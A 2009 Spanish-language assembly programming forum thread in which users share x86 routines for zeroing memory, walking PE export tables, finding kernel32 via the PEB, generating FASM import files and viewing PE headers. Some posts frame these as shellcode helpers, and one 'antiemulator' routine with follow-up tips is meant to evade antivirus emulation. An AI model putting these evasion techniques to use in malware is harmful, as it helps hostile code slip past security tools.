Test Foro de elhacker.net SMF 2.1

Programación => Programación General => ASM => Mensaje iniciado por: YST en 2 Abril 2009, 09:07 AM

Título: SRCs de YST.
Publicado por: YST en 2 Abril 2009, 09:07 AM
Hola , muchas veces yo eh necesitado poner una cantidad de bytes en 0 , para esto hice una función que haga esto por mi , espero que les sirva.

Código (asm) [Seleccionar]
proc Zerar,Puntero,Cantidad

    push ecx
    push ebx

              mov ecx,[Cantidad]
                 mov ebx,[Puntero]
                .bucle:

                mov byte[ebx+ecx],0
                loop .bucle
                mov byte[ebx],0
                pop ebx
                pop ecx
                ret
endp
Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 2 Abril 2009, 12:49 PM
buen code, pero el loop es muy lento

mejor así:

Código (asm) [Seleccionar]


ZeroMem proc PMen:dword, SizeMen
push ebx
push ecx
push eax


mov ecx,[SizeMen]
mov ebx,4
mov eax,ecx
div ebx ;Comprueva si es multiplo de 4
cmp edx,0
je Mul4
sub ecx,edx
lea edx,[ecx+edx]
                                mov ebx,[PMen]
                                xor eax,eax

NoZero:
dec edx
mov byte ptr[ebx+edx],eax

cmp edx,ecx
jne NoZero
Mul4:
xor eax,eax
mov ebx,[PMen]

siguiente:
sub ecx,4
mov [ebx+ecx],eax ;Pone a cero hasta que ecx sea zero
jecxz zero
jmp siguiente
zero:

pop eax
pop ecx
pop ebx

ret

ZeroMem endp



saludos
Título: Re: [SRC] Zerar
Publicado por: Eternal Idol en 2 Abril 2009, 13:28 PM
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...

Igual supongo que ambos podrian usar rep movs ...
Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 2 Abril 2009, 13:39 PM
pos lo canbias un poco, yo es que todo lo que necesito poner a cero es multiplo de 4. Porque no uso los 64bist, y para las cadenas ya le pongo yo el 0 final
Título: Re: [SRC] Zerar
Publicado por: Eternal Idol en 2 Abril 2009, 14:06 PM
Entonces no es mejor asi, el codigo original no produce una excepcion al pasarle un tamaño de 5.
Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 2 Abril 2009, 14:32 PM
alegrado, ya no produce una excepción
Título: SRCs de YST.
Publicado por: YST en 3 Abril 2009, 04:22 AM
Hola , luego de un buen rato programando , viendo manuales de el formato PE ( si gustan luego los posteo ) , termine la función GetAddressFunction quer permite obtener la dirección de cualquier función de una libreria , mediante el handle de la libreria (devuelto por LoadLibrary por ejemplo ) y el nombre de la función , esta función es muy util para  shellcode , la función comparar tanto como la función len no son mias las pase para que se pudieran ensamblar con FASM ya que las originales son de MASM ( http://www.asmcommunity.net/board/index.php?topic=2626.0 ) , espero que les sea de utilidad.
Código (ASM) [Seleccionar]
proc GetAddressFunction,LibHandle,Api
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory   dd ?
NumberOfNames dd ?
AddressOfNames dd ?
AddressOfFunctions dd ?
endl
push ebx  edx  edi  ecx
mov eax,[LibHandle]
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop  [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add  [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx, [AddressOfNames]
add ebx,eax
mov ecx,[NumberOfNames]
mov edi,0

push [LibHandle]
pop [AddressOfFunctions]
mov ebx,[RVAofExportDirectory]
add  eax ,ebx
push   dword[eax+1ch]
pop [AddressOfFunctions]
.encontrar:
  mov eax, 0x4
  mul edi
  mov ebx,eax
  add ebx,[AddressOfNames]
  add  ebx,[LibHandle]
  mov eax, [ebx]
  add eax, [LibHandle]
add edi,1
  stdcall comparar, [Api], eax
  cmp ecx,NULL
  je .Error
  cmp eax, 0
jne .encontrar
dec edi
rol edi,2
mov eax,edi
add eax, [AddressOfFunctions]
add eax,[LibHandle]
mov eax, dword[eax]
add eax,[LibHandle]
pop  ecx edi edx ebx
ret
.Error:
xor eax,eax   ; xor eax,eax = NULL
ret
ret
endp
proc comparar ,SRC,DST
push edi ecx esi
stdcall Len,[SRC]
inc eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp

proc Len , SRC
push ecx edi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp


Una forma de obtener el handle de la kernel32 ( fuente: hackhound.org ):
Código (ASM) [Seleccionar]

           mov   eax, [fs:30h]
    mov   eax, [eax + 0ch]
    mov   esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]
Título: SRCs de YST.
Publicado por: YST en 3 Abril 2009, 05:04 AM
Hola , basado en el source que hice para obtener la dirección de la función que uno desee de una libreria , hice un pequeño programa para listar todas las funciones de una libreria ( .dll ) , modificandolo un poco se podria hacer que este mismo programa cree .inc como el "kernel32.inc" que se encuentra en el fasm , que tiene todas (o casi todas ) las api's de la kernel32.dll , espero que les sirva de algo.
Código (ASM) [Seleccionar]
format pe console
espacio equ 13,10,0
include 'win32ax.inc'
.code
start:
invoke LoadLibrary,"user32.dll"
stdcall    ListarFunciones,eax
invoke ExitProcess,0
proc ListarFunciones,LibHandle
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory   dd ?
NumberOfNames dd ?
AddressOfNames dd ?
endl
push ebx  edx  edi  ecx
mov eax,[LibHandle]
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop  [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add  [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx,[NumberOfNames]
mov        edi, [AddressOfNames]
    add        edi,[LibHandle]
.bucle:
dec ebx
mov        eax, [edi + ebx * 4]
add eax,[LibHandle]
invoke printf,eax
  invoke printf,espacio
  cmp ebx,0
  jne .bucle
pop  ecx edi edx ebx
ret
.Error:
ret
endp
.end start
Título: Re: [SRC] Zerar
Publicado por: YST en 3 Abril 2009, 05:18 AM
Cita de: Eternal Idol en 02 Abril 2009, 13:28
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...

Igual supongo que ambos podrian usar rep movs ...
Hola , Eternal Idol , podrias poner un ejemplo , por que entiendo o creo entender el funcionamiento de movsx (mosvb,movsw,etc.. ) y segun tengo entendido la cantidad de 0 tendria que ser igual a la cantidad que se quiera rellenar con estos , tal vez me estoy confundiendo ya que para ser sincero nunca eh usado mosvx , me encantaria ver un source que rellene usando mosvx . Arcangel_0x7C5  ahora leere tu codigo , aunque a simple vista me parece mas rapido mi source , seria interesante que me dijieras como sacas lo que se demora cada instrucción , ya que desconozco como tomarles el tiempo  ;)
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 3 Abril 2009, 06:55 AM
Lo modifique y ahora crea imports para fasm a partir de cualquier libreria  ;D

Código (ASM) [Seleccionar]

format pe console
espacio equ 13,10,0
include 'win32ax.inc'
.code
start:

stdcall CrearImport,"user32.dll","user32.inc"
invoke ExitProcess,0
proc CrearImport,NombreLIB,NombreImport
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory   dd ?
NumberOfNames dd ?
AddressOfNames dd ?
Funcion dd ?
HFile dd ?
Nosirve dd ?
Largo dd ?
LibHandle dd ?
endl
push ebx  edx  edi  ecx
    invoke LoadLibrary, [NombreLIB]
    mov [LibHandle],eax
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop  [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add  [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx,[NumberOfNames]
mov        edi, [AddressOfNames]
    add        edi,[LibHandle]



               invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
                mov [HFile], eax
                invoke lstrlen,"import "
            invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL
                 invoke lstrlen,[NombreLIB]
                 sub eax,4
                invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL
                invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL
                             invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL

.bucle:
dec ebx
mov        eax, [edi + ebx * 4]
add eax,[LibHandle]
mov [Funcion],eax
        invoke lstrlen, [Funcion]
                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
                invoke WriteFile, [HFile],",",1,addr Nosirve, NULL

                              invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
                                      invoke lstrlen, [Funcion]
                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
                .if ebx = 0
                      invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
                .else
                  invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL
              invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
              .endif
  cmp ebx,0
  jne .bucle
            invoke CloseHandle, [HFile]
pop  ecx edi edx ebx
ret
.Error:
ret
endp
.end start
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 3 Abril 2009, 08:45 AM
Volvi a mejorar un poco el source :
Código (asm) [Seleccionar]
format pe console
espacio equ 13,10,0
include 'win32ax.inc'
.data
RutaLib   rb MAX_PATH
RutaINC   rb MAX_PATH
.code
start:
invoke printf,"Ingrese la ruta de la libreria:"
invoke printf,espacio
invoke scanf,"%s",RutaLib
invoke printf,"Ingrese la ruta de la donde se generara el include:"
invoke printf,espacio
invoke scanf,"%s",RutaINC
stdcall CrearImport,RutaLib,RutaINC
invoke ExitProcess,0
proc CrearImport,NombreLIB,NombreImport
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory   dd ?
NumberOfNames dd ?
AddressOfNames dd ?
Funcion dd ?
HFile dd ?
Nosirve dd ?
Largo dd ?
LibHandle dd ?
endl
push ebx  edx  edi  ecx
    invoke LoadLibrary, [NombreLIB]
    mov [LibHandle],eax
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop  [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add  [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx,[NumberOfNames]
mov        edi, [AddressOfNames]
    add        edi,[LibHandle]



               invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
                mov [HFile], eax
                invoke lstrlen,"import "
            invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL
                 invoke lstrlen,[NombreLIB]
                 sub eax,4
                invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL
                invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL
                             invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL

.bucle:
dec ebx
mov        eax, [edi + ebx * 4]
add eax,[LibHandle]
mov [Funcion],eax
        invoke lstrlen, [Funcion]
                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
                invoke WriteFile, [HFile],",",1,addr Nosirve, NULL

                              invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
                                      invoke lstrlen, [Funcion]
                invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
                .if ebx = 0
                      invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
                .else
                  invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL
              invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
              .endif
  cmp ebx,0
  jne .bucle

            invoke CloseHandle, [HFile]
            invoke system,"cls"
            invoke printf,"Extraida las funciones de: "
            invoke printf,RutaLib
            invoke printf,espacio
            invoke printf,espacio
            invoke printf,"El include ah sido generado en : "
             invoke printf,RutaINC
                      invoke printf,espacio
            invoke printf,espacio
            invoke printf,"Con "
               invoke printf,"%d",[NumberOfNames]
               invoke printf," funciones extraidas."
                invoke printf,espacio
                  invoke system,"pause"
pop  ecx edi edx ebx
ret
.Error:
      invoke system,"cls"
            invoke printf,"Ocurrio un error durante la extracciòn."
                        invoke printf,espacio
               invoke system,"pause"
ret
endp
.end start     


PD: Mi win32ax.inc tiene algunas mejoras y le eh agragado todas las .inc de mi post anterior (http://foro.elhacker.net/programacion_general/aporte_inc_con_apis_de_distitnas_librerias_para_fasm-t250659.0.html) para que si quieren compilar el codigo hagan eso ya que tal cual con la win32ax.inc que viene por defecto en FASM no va a compilar.
Título: Re: [SRC] Zerar
Publicado por: Eternal Idol en 3 Abril 2009, 09:27 AM
Perdon, movs es para strcpy, en este caso queremos stos:

Código (asm) [Seleccionar]
ZeroMemory:
xor al, al ;valor a escribir (0)
mov ecx, dword ptr [esp+8] ;cantidad de veces
mov edi, dword ptr [esp+4] ;buffer
rep stosb
ret


El codigo de Arcangel_0x7C5 es mas rapido que el tuyo por trabajar con DWORDs y no con BYTEs. Puede que sea mas rapido que este tambien (depende de la cantidad de BYTEs a escribir) ... pero una combinacion de rep stosd y mov (para los bytes que sobren del ultimo DWORD que no sea completo) es lo que usa la RTL de VC++ normalmente.
Título: Re: [SRC] Zerar
Publicado por: YST en 3 Abril 2009, 15:01 PM
Cita de: Eternal Idol en 03 Abril 2009, 09:27Perdon, movs es para strcpy, en este caso queremos stos:

Código

ZeroMemory:
   xor al, al   ;valor a escribir (0)
   mov ecx, dword ptr [esp+8] ;cantidad de veces
   mov edi, dword ptr [esp+4] ;buffer
   rep stosb
ret


El codigo de Arcangel_0x7C5 es mas rapido que el tuyo por trabajar con DWORDs y no con BYTEs. Puede que sea mas rapido que este tambien (depende de la cantidad de BYTEs a escribir) ... pero una combinacion de rep stosd y mov (para los bytes que sobren del ultimo DWORD que no sea completo) es lo que usa la RTL de VC++ normalmente.

Claro , ahora leyendo el source de arkangel me doy cuenta que trabaja con dword's y por lo tanto es mas rapido ( obviamente si yo trabajo byte por byte y el de arkangel de a 4 ) , en todo caso en un relleno de 3 bytes por ejemplo el mio seria mas rapido , no ? ya que hace menos comprobaciones ; mas tarde cuando vuelva mejoro el source para que sea lo mas rapido posible ;)
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: Karcrack en 3 Abril 2009, 15:40 PM
Muchas gracias ;D

Estaba cansado de tener que hacer los Imports a mano cuando no estaban declaradas algunas APIs ;-)
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 3 Abril 2009, 16:29 PM
Cita de: Karcrack en 03 Abril 2009, 15:40
Muchas gracias ;D

Estaba cansado de tener que hacer los Imports a mano cuando no estaban declaradas algunas APIs ;-)
Claro , da un poco de flojera estar declarando todo manualmente cada vez , dando un consejo , no remplacen su kernel32.inc ni ninguna que venga por defecto aunque muchas estan incompletas , ya que este generador de includes no discrimina cuando hay un api como "CreateProcessA" y "CreateProcessW" entonces si lo remplasan tendrian que llamar a la api como CreateProcessA en vez de llamarla como CreateProcess , haber si mas tarde logro hacer que discrimine esto ;)
Título: Re: [SRC] Zerar
Publicado por: Arkangel_0x7C5 en 3 Abril 2009, 17:10 PM
Cita de: YST en  3 Abril 2009, 05:18 AM
Cita de: Eternal Idol en  2 Abril 2009, 13:28 PM
Arcangel_0x7C5: ¿Y si SizeMen no es multiplo de 4? Digamos que es 5 ...

Igual supongo que ambos podrian usar rep movs ...

Hola , Eternal Idol , podrias poner un ejemplo , por que entiendo o creo entender el funcionamiento de movsx (mosvb,movsw,etc.. ) y segun tengo entendido la cantidad de 0 tendria que ser igual a la cantidad que se quiera rellenar con estos , tal vez me estoy confundiendo ya que para ser sincero nunca eh usado mosvx , me encantaria ver un source que rellene usando mosvx . Arcangel_0x7C5  ahora leere tu codigo , aunque a simple vista me parece mas rapido mi source , seria interesante que me dijieras como sacas lo que se demora cada instrucción , ya que desconozco como tomarles el tiempo  ;).

y tan bien es mas rápido por no usar loop, en en los 486 se a vuelto mas lento que su equivalente con varias instrucciones. y que yo sepa ya no se lleva el 386. En el archivo de ayuda del masm sale los tiempos de cada instrucción en cada familia procesadores

PD:yo no mido nunca los tiempos
Título: Re: [SRC] Zerar
Publicado por: YST en 3 Abril 2009, 19:47 PM
No tenia idea eso de el loop , que interesante , gracias por informarme  ;) .
Título: Re: [SRC]GetAddressFunction
Publicado por: Arkangel_0x7C5 en 4 Abril 2009, 00:12 AM
Cita de: YST en  3 Abril 2009, 04:22 AM


Una forma de obtener el handle de la kernel32 ( fuente: hackhound.org ):

Código (ASM) [Seleccionar]
             
    mov   eax, [fs:30h]
    mov   eax, [eax + 0ch]
    mov   esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]


una cosa, Que es lo que hay en [fs:30h]?

Yo para sacar la base de kernel32 usaba la direccion de retorno que deja CreateProcess al pasar el control a tu programa con "call". Luego era solo cuestion de buscar "MZ" pero invertida. y ya la tienes.

A y no entiendo el porque de tanto "push" y "pop"
No es mas facil hacer mov a un registro

Saludos.

PD:Si te interesa el virin te invito a que hagas clic en el enlace de mi firma
Título: Re: [SRC]GetAddressFunction
Publicado por: Eternal Idol en 4 Abril 2009, 00:16 AM
Cita de: Arcangel_0x7C5 en  4 Abril 2009, 00:12 AMuna cosa, Que es lo que hay en [fs:30h]?

La direccion de memoria donde esta el PEB.
Título: Re: [SRC]GetAddressFunction
Publicado por: YST en 4 Abril 2009, 00:28 AM
Cita de: Arcangel_0x7C5 en 04 Abril 2009, 00:12
A y no entiendo el porque de tanto "push" y "pop"
No es mas facil hacer mov a un registro
La razón principal es que quise que se explicara un poco el code mediante las variables  y no se puede hacer un "mov  [AddressOfNames].dword[ebx+20h] " esa es la razón , aunque facilmente se pueden eliminar todas las variables.


Citar
PD:Si te interesa el virin te invito a que hagas clic en el enlace de mi firma

Muchas gracias , voy a ver esa comunidad.
Título: Re: [SRC]GetAddressFunction
Publicado por: Arkangel_0x7C5 en 4 Abril 2009, 01:08 AM
Cita de: YST en  4 Abril 2009, 00:28 AM
Cita de: Arcangel_0x7C5 en  4 Abril 2009, 00:12 AM
A y no entiendo el porque de tanto "push" y "pop"
No es mas facil hacer mov a un registro

La razón principal es que quise que se explicara un poco el code mediante las variables  y no se puede hacer un "mov  [AddressOfNames].dword[ebx+20h] " esa es la razón , aunque facilmente se pueden eliminar todas las variables.
y no se puede hacer mov de mem a mem pero creo que era mas rapido de mem a reg que hacer push mem y ala inbersa. ya te digo que yo no mido la velocidad, pero como de todas maneras tienes que pasarlo a un registro para usarlo
tengo ese code con una sola variable.

Y para explicar el code puedes poner comentarios diciendo lo que haces y a donde apunta.

En esa comunidad no somos muchos los que siempre escribimos, por eso suele haber buen nivel en lo que se postea

Saludos
Título: Re: [SRC]GetAddressFunction
Publicado por: YST en 4 Abril 2009, 02:17 AM
Arregle un poco el coidigo ( lo que se puede arreglar estnado cansado ) , mañana si gustan lo termino de arreglar.
salu2


Código (asm) [Seleccionar]
proc GetAddressFunction,LibHandle,Api
locals
AddressOfNames dd ?
AddressOfFunctions dd ?
endl
push ebx  edx  edi  ecx    esi
mov eax,[LibHandle]
cmp eax,NULL
je .Error
mov ebx, dword[eax + 03Ch]
add ebx,eax
cmp word[ebx],"PE"
jne .Error
mov esi,dword[ebx+078h]
mov ebx,esi
add ebx,eax
push dword[ebx+20h]
pop [AddressOfNames]
add    [AddressOfNames] ,eax
mov ecx,dword[ebx+018h]
mov edi,0
mov ebx,esi
add  eax ,ebx
push   dword[eax+1ch]
pop [AddressOfFunctions]

.encontrar:
dec ecx
mov eax, 0x4
 mul edi
mov ebx,eax
add ebx,[AddressOfNames]
 mov eax, [ebx]
add eax, [LibHandle]
inc edi
 stdcall comparar, [Api], eax
 cmp ecx,NULL
 je .Error
 cmp eax, 0
jne .encontrar
dec edi
rol edi,2
mov eax,edi
add eax, [AddressOfFunctions]
add eax,[LibHandle]
mov eax, dword[eax]
add eax,[LibHandle]
pop  esi ecx edi edx ebx
ret
.Error:
xor eax,eax   ; xor eax,eax = NULL
pop  esi ecx edi edx ebx
ret
ret
endp
proc comparar ,SRC,DST
push edi ecx esi
stdcall Len,[SRC]
inc eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp

proc Len , SRC
push ecx edi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
Título: Re: [SRC]GetAddressFunction
Publicado por: Arkangel_0x7C5 en 4 Abril 2009, 02:30 AM
mi code es este, es masm pero tanpoco cambia tanto.

Código (asm) [Seleccionar]

Getproadress proc PBaseDll:dword, PNombreFun:dword
LOCAL NumFun
push edx
push ecx
push esi
push edi


mov edx,[PBaseDll] ;Encontrar funcion pedida en la dll especificada
cmp word ptr[edx],'ZM'
je MZ
cmp word ptr[edx],'MZ'
je MZ
NoPE:
xor eax,eax
jmp NoEncontre
MZ:
xor ecx,ecx
add edx,[edx+3ch]
cmp word ptr[edx],'EP'
jne NoPE                           ;Cabecera PE
mov edx,[edx+78h]

;Tabla de Exportaciones
mov edi,[18h+edx]
mov [NumFun],edi
add edx,[PBaseDll]     
mov edi,[edx+20h]                  ;AddressOfNames
add edi,[PBaseDll]
jmp busca
NoEs:
cmp ecx,[NumFun]
je NoEncontre
inc ecx
add edi,4
busca:
mov esi,[edi]
add esi,[PBaseDll]
push esi
push [PNombreFun]
call cmpsrt
cmp eax,0
jne NoEs
;                                AddressOfNameOrdinals
mov edi,[edx+24h]
add edi,[PBaseDll]
rol ecx,1h
add edi,ecx
movzx ecx,word ptr [edi]

;                                AddressOfFunctions
rol ecx,2h
mov esi,dword ptr [edx+1ch]
add ecx,[PBaseDll]
add ecx, esi
mov eax,[ecx]
add eax,[PBaseDll]
jmp bien
NoEncontre:
xor eax,eax
bien:
pop edi
pop esi
pop ecx
pop edx

ret 8

Getproadress endp



Título: Re: [SRC]GetAddressFunction
Publicado por: YST en 4 Abril 2009, 03:11 AM
Le corregi algunas cosas inutiles , no son muchas modificaciones las que le hice a mis source pero creo que lo debo postear igual

Código (asm) [Seleccionar]
include 'win32ax.inc'
.code
start:
invoke LoadLibrary,"user32.dll"
stdcall  GetAddressFunction,eax,"MessageBoxA"
stdcall eax,0,0,0,0
invoke ExitProcess,0
proc GetAddressFunction,LibHandle,Api
locals
AddressOfNames dd ?
AddressOfFunctions dd ?
endl
push ebx  edx  edi  ecx    esi
mov eax,[LibHandle]
cmp eax,NULL
je .Error
mov ebx, dword[eax + 03Ch]
add ebx,eax
cmp word[ebx],"PE"
jne .Error
mov esi,dword[ebx+078h]
mov ebx,esi
add ebx,eax
push dword[ebx+20h]
pop [AddressOfNames]
add    [AddressOfNames] ,eax
mov ecx,dword[ebx+018h]
xor edi,edi
add  eax ,esi
push   dword[eax+1ch]
pop [AddressOfFunctions]
sub eax,esi
add [AddressOfFunctions] ,eax
.encontrar:
dec ecx
mov eax,edi
rol eax,2
add eax,[AddressOfNames]
  mov eax, dword[eax]
add eax, [LibHandle]
inc edi
  stdcall comparar, [Api], eax
  cmp ecx,NULL
  je .Error
  cmp eax, 0
jne .encontrar
dec edi
rol edi,2
mov eax,edi
add eax, [AddressOfFunctions]
mov eax, dword[eax]
add eax,[LibHandle]
pop  esi ecx edi edx ebx
ret
.Error:
xor eax,eax   ; xor eax,eax = NULL
pop  esi ecx edi edx ebx
ret
endp
proc comparar ,SRC,DST
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
.end start
Título: [SRC]antiemulator
Publicado por: YST en 4 Abril 2009, 10:15 AM
Hola ,  decidi pasar la función AntiEmulaters desarrollada por ChainCoder en el lenguaje de programación delphi a ASM , espero que les sirva

Codigo original:

Código (delphi) [Seleccionar]

Function AntiEmulaters:Boolean;
Var
UpTime            :DWORD;
UpTimeAfterSleep  :Dword;
Begin
   UpTime  := GetTickCount;
   Sleep(Strtoint('5'+'0'+'0'));
   UpTimeAfterSleep := GetTickCount;
   if ( UpTimeAfterSleep - UpTime ) < 500 Then
   Result:= True Else Result:= False;
end;


Codigo traducido:

Código (asm) [Seleccionar]

antiemulator:
push ebx ecx
invoke GetTickCount
mov ebx,eax
mov eax,2
mov ecx,250
mul ecx
invoke SleepEx,eax,FALSE ; 250 * 2= 500 ( para confundir un poco el antivirus )
invoke GetTickCount
sub eax,ebx
cmp eax,500
jl .si
mov eax,FALSE
pop ecx ebx
ret
.si:
pop ecx ebx
mov eax,TRUE
ret
Título: Re: [SRC]antiemulator
Publicado por: Karcrack en 4 Abril 2009, 14:11 PM
Creo que al poner:
125*2*2
No confundes a ningun AV... ya que el FASM ya te lo calcula y pone el 500, talvez haciendo otras cosas, como por ejemplo esto, si que marees mas al AV:
Código (asm) [Seleccionar]
    xor ebx, ebx
    mov ecx, 500
@@: inc ebx
    loop @B


Creo que tendrias que explicar que la mayoria de Emuladores de los AVs se saltan algunas APIs... como esta... asi que, los AVs no duermen :xD

Saludos ;)
Título: Re: [SRC]antiemulator
Publicado por: YST en 4 Abril 2009, 21:01 PM
Cita de:  Karcrack en 04 Abril 2009, 14:11
Creo que al poner:

125*2*2

No confundes a ningun AV... ya que el FASM ya te lo calcula y pone el 500, talvez haciendo
Cierto , no me habia fijado .
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: BEATMASTER en 5 Abril 2009, 06:35 AM
oorale que bien suena esto recientemente empeze a tener curiosidad de como sacar las funciones de una dll :P y mira con lo que me vengo a encontrar jaja servira de mucho sobre todo apra darme una idea de como lo ahces mm una pregunta :p te devulve el nombre de las funciones y tambien que parametros y valores devuelve? por cierto muy buenos codigos   ;-)
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 5 Abril 2009, 08:54 AM
Los parametros de las api's sera imposible de sacar y los valores que devuelve , no no lo toma ya que hay la unica manera que encuentro es ahcel algo como un debugger y ver que manda a eax .
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: Arkangel_0x7C5 en 5 Abril 2009, 16:40 PM
el peso de los parámetros se podría sacar mirando los mov X ,[ebp + X], pero el tipo de valor debuelto no, porque en asm esencialmente solo hay unos pocos tipos, según el tamaño y punteros.

saludos
Título: Re: [SRC] Listar funciones de una libreria
Publicado por: YST en 5 Abril 2009, 19:56 PM
Claro , los parametros como mucho se les podria sacar peso y cantidad de parametros.
Título: SRCs de YST.
Publicado por: YST en 6 Abril 2009, 02:46 AM
Hola , viendo una funcion desarrollada por un user de este foro , decidi hacer la mia propia ya que encontre que esta funcion se podia mejorar bastante , bueno se las dejo , el parametro que hay que pasarle es el "MZ" de  el archivo , lo pueden cargar con LoadLibrary si se quiere  ;).

Código (asm) [Seleccionar]
proc EOFExtraDataExtract,FHandle
push esi  ebx
mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
add esi,eax
movzx ebx, word[esi+06h] ;Number Of Sections
dec ebx
mov eax,28h
mul ebx
add esi,0xf8 ;START OF SECTION TABLE
add esi,eax
mov eax,dword[esi+10h] ;SizeOfRawData
add eax,dword[esi+14h]  ;pointerToRawData
pop ebx esi
ret
endp
Título: SRCs de YST.
Publicado por: YST en 6 Abril 2009, 03:44 AM
Hola , basado en el visor PE de novirusthanks.org hice un modesto visor PE
Código (asm) [Seleccionar]

format pe console
Espacio equ 13,10,0
include 'win32ax.inc'
.data
Logo db '===================================',13,10
     db '= Humilde visor PE by YST         =',13,10
     db '===================================',13,10,0
RutaArch  rb MAX_PATH
HA dd ?
bEscritos dd ?
Log dd ?
CrearLOG rb 10
.code
start:
invoke printf,Logo
invoke printf,Espacio
invoke printf,"Ponga la ruta a escanear: "
invoke printf,Espacio
invoke scanf,"%s",RutaArch

invoke printf,Espacio
invoke printf,Espacio

invoke LoadLibrary,RutaArch
stdcall Visualisar,eax
invoke ExitProcess,0
proc Visualisar,FHandle
push edi esi  ebx
.if [FHandle] = NULL
jmp .error
.endif


mov eax,[FHandle]
cmp word[eax],"MZ"
jne .error

mov eax,[FHandle]
mov esi,dword[eax+03ch] ;Offset to start of PE header
invoke printf,"%s","start of PE header: "

invoke printf,"0x%x",esi
invoke printf,"%s",Espacio
add esi,[FHandle]
movzx ebx, word[esi+06h] ;Number Of Sections
invoke printf,"%s","TimeDateStamp: "
invoke printf,"0x%x",dword[esi+8h]
invoke printf,"%s",Espacio

invoke printf,"%s","SizeOfCode: "
invoke printf,"0x%x",dword[esi+1ch]
invoke printf,"%s",Espacio
invoke printf,"%s","Address Of Entry Point: "
invoke printf,"0x%x",dword[esi+28h]
invoke printf,"%s",Espacio
invoke printf,"%s","ImageBase: "
invoke printf,"0x%x",dword[esi+34h]
